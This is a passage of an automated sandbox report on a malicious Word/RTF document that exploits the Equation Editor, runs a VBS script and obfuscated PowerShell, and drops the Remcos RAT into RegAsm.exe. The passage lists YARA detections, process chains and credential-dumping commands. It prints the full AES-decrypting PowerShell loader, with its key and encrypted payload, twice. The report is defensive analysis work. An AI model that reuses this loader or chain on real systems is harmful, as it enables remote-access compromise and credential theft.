              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040523512_2_00405235
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004032C812_2_004032C8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040168912_2_00401689
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00402F6012_2_00402F60
              Source: ~WRF{01C6C27F-A561-40CD-B0F2-2BC57BD07727}.tmp.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00434E10 appears 54 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 004169A7 appears 87 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 004165FF appears 35 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00422297 appears 42 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00402093 appears 50 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00434770 appears 41 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 0044DB70 appears 41 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00401E65 appears 35 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00444B5A appears 37 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00413025 appears 79 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00416760 appears 69 times
              Source: erthings.doc, type: SAMPLEMatched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 6.2.powershell.exe.444d080.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 6.2.powershell.exe.444d080.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 6.2.powershell.exe.444d080.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 6.2.powershell.exe.444d080.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 6.2.powershell.exe.444d080.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 6.2.powershell.exe.444d080.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: powershell.exe PID: 3116, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: powershell.exe PID: 3116, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
              Source: Process Memory Space: RegAsm.exe PID: 3264, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: C:\Users\user\Desktop\~WRD0000.tmp, type: DROPPEDMatched rule: INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2 author = ditekSHen, description = detects CVE-2017-8759 weaponized RTF documents.
              Source: bhvA851.tmp.10.drBinary or memory string: org.slneighbors
              Source: classification engineClassification label: mal100.phis.troj.spyw.expl.evad.winDOC@14/21@5/4
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,??3@YAXPAX@Z,10_2_004182CE
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,8_2_00417952
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00410DE1 GetCurrentProcess,GetLastError,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,12_2_00410DE1
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,??3@YAXPAX@Z,10_2_00418758
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,8_2_0040F474
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,8_2_0041B4A8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,8_2_0041AA4A
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\Desktop\~$things.docJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-F4JFYD
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR78A8.tmpJump to behavior
              Source: ~WRF{01C6C27F-A561-40CD-B0F2-2BC57BD07727}.tmp.0.drOLE document summary: title field not present or empty
              Source: ~WRF{01C6C27F-A561-40CD-B0F2-2BC57BD07727}.tmp.0.drOLE document summary: author field not present or empty
              Source: ~WRF{01C6C27F-A561-40CD-B0F2-2BC57BD07727}.tmp.0.drOLE document summary: edited time not present or 0
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS"
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................(.P.....4.......<.......x.......U...............................................T..........s............Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................(.P.....4.......<.......x.......a.......................................................................Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSystem information queried: HandleInformationJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile read: C:\Users\desktop.iniJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: RegAsm.exe, RegAsm.exe, 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
              Source: RegAsm.exe, RegAsm.exe, 0000000B.00000002.398647706.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
              Source: RegAsm.exe, 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
              Source: RegAsm.exe, RegAsm.exe, 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
              Source: RegAsm.exe, RegAsm.exe, 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
              Source: RegAsm.exe, RegAsm.exe, 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
              Source: RegAsm.exe, RegAsm.exe, 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
              Source: erthings.docReversingLabs: Detection: 47%
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeEvasive API call chain: __getmainargs,DecisionNodes,exit
              Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS"
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\mmsiqhwoqhbqrxshpqajxrsgsxt"
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\woytragqmptvbdolgbukidmxselpvnm"
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\hidlssrjzxlidrcppmhelihgbsvywydkws"
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\mmsiqhwoqhbqrxshpqajxrsgsxt"Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\woytragqmptvbdolgbukidmxselpvnm"Jump to behavior
